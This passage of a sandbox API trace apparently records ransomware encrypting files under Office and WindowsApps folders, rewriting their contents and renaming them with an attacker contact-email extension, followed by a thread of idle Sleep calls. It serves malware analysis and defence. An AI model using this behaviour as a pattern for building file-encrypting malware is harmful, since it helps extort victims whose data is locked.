Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PAPYRUS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PAPYRU~1.FIR")) returned 0x6d51c0 [0255.126] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0255.126] GetProcessHeap () returned 0x630000 [0255.126] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6cf810 [0255.126] GetProcessHeap () returned 0x630000 [0255.126] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0da0 [0255.126] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.126] ReadFile (in: hFile=0x6d8, lpBuffer=0x6cf810, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6cf810*, lpNumberOfBytesRead=0x55fff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0255.129] GetProcessHeap () returned 0x630000 [0255.129] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0255.129] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.129] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d0da0*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0da0*, lpNumberOfBytesWritten=0x55fff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0255.129] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.129] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d0f7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0f7f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.130] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.130] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.130] CloseHandle (hObject=0x6d8) returned 1 [0255.130] GetProcessHeap () returned 0x630000 [0255.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0da0 | out: hHeap=0x630000) returned 1 [0255.130] GetProcessHeap () returned 0x630000 [0255.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cf810 | out: hHeap=0x630000) returned 1 [0255.130] GetProcessHeap () returned 0x630000 [0255.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0255.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e03d6d5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x55ffd20, dwReserved1=0x6cf810, cFileName="PAPYRUS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PAPYRU~1.FIR")) returned 0x6d54c0 [0255.130] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0255.131] Sleep (dwMilliseconds=0x1) [0255.134] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM", len=0x6e | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM") returned 1 [0255.134] GetProcessHeap () returned 0x630000 [0255.134] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d4c) returned 0x6fe3bb0 [0255.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0255.134] CloseHandle (hObject=0x410) returned 1 [0255.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PAPYRUS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PAPYRU~2.FIR")) returned 0x6d5380 [0255.136] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0255.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0255.136] GetProcessHeap () returned 0x630000 [0255.136] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711d230 [0255.136] GetProcessHeap () returned 0x630000 [0255.136] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70dd910 [0255.137] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.137] ReadFile (in: hFile=0x410, lpBuffer=0x711d230, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0259.479] GetProcessHeap () returned 0x630000 [0259.479] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0259.480] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.480] WriteFile (in: hFile=0x410, lpBuffer=0x70dd910*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0260.451] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.451] WriteFile (in: hFile=0x410, lpBuffer=0x70e8d0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e8d0f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0260.451] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.451] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0260.451] CloseHandle (hObject=0x410) returned 1 [0260.451] GetProcessHeap () returned 0x630000 [0260.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0261.057] GetProcessHeap () returned 0x630000 [0261.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0261.057] GetProcessHeap () returned 0x630000 [0261.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0261.243] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61315847, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x166f9, dwReserved0=0xa707496, dwReserved1=0x711d228, cFileName="PAPYRUS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PAPYRU~2.FIR")) returned 0x6d5440 [0261.243] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0261.243] Sleep (dwMilliseconds=0x1) [0261.248] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\91.jpg", len=0x7c | out: pbstr=0x55fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\91.jpg") returned 1 [0261.248] GetProcessHeap () returned 0x630000 [0261.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de8) returned 0x6fe3bb0 [0261.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\91.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\91.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.260] Sleep (dwMilliseconds=0x1) [0261.268] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileLargeSquare.scale-200.png", len=0x85 | out: pbstr=0x55fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileLargeSquare.scale-200.png") returned 1 [0261.268] GetProcessHeap () returned 0x630000 [0261.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0261.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileLargeSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_tilelargesquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.268] Sleep (dwMilliseconds=0x1) [0261.279] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", len=0x6e | out: pbstr=0x55fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js") returned 1 [0261.279] GetProcessHeap () returned 0x630000 [0261.279] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e7c) returned 0x6fe3bb0 [0261.279] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.286] Sleep (dwMilliseconds=0x1) [0261.296] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x75 | out: pbstr=0x55fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0261.296] GetProcessHeap () returned 0x630000 [0261.296] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea0) returned 0x6fe3bb0 [0261.296] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.168] Sleep (dwMilliseconds=0x1) [0268.045] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF", len=0x45 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF") returned 1 [0268.045] GetProcessHeap () returned 0x630000 [0268.045] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b60) returned 0x6fe3bb0 [0268.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcm_____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0268.045] CloseHandle (hObject=0x6dc) returned 1 [0268.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0268.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcm_____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcm_____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0268.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x129dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TCM_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCM___~1.FIR")) returned 0x6d51c0 [0268.047] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0268.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcm_____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0268.047] GetProcessHeap () returned 0x630000 [0268.047] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0268.047] GetProcessHeap () returned 0x630000 [0268.047] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0268.048] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.048] ReadFile (in: hFile=0x6dc, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0276.366] GetProcessHeap () returned 0x630000 [0276.366] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0276.366] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0276.367] WriteFile (in: hFile=0x6dc, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0276.368] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0276.368] WriteFile (in: hFile=0x6dc, lpBuffer=0x70b306f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b306f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0276.368] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0276.368] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0276.368] CloseHandle (hObject=0x6dc) returned 1 [0276.368] GetProcessHeap () returned 0x630000 [0276.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0276.368] GetProcessHeap () returned 0x630000 [0276.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0276.368] GetProcessHeap () returned 0x630000 [0276.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0276.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0276.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aac38a0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12a00, dwReserved0=0xa707496, dwReserved1=0x71c0040, cFileName="TCM_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCM___~1.FIR")) returned 0x6d4f80 [0276.369] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0276.369] Sleep (dwMilliseconds=0x1) Thread: id = 68 os_tid = 0x1290 [0067.528] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.401] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.046] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.199] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.377] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.145] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.563] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.412] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.953] Sleep (dwMilliseconds=0x1) [0073.101] Sleep (dwMilliseconds=0x1) [0073.606] Sleep (dwMilliseconds=0x1) [0073.777] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.061] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.381] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep 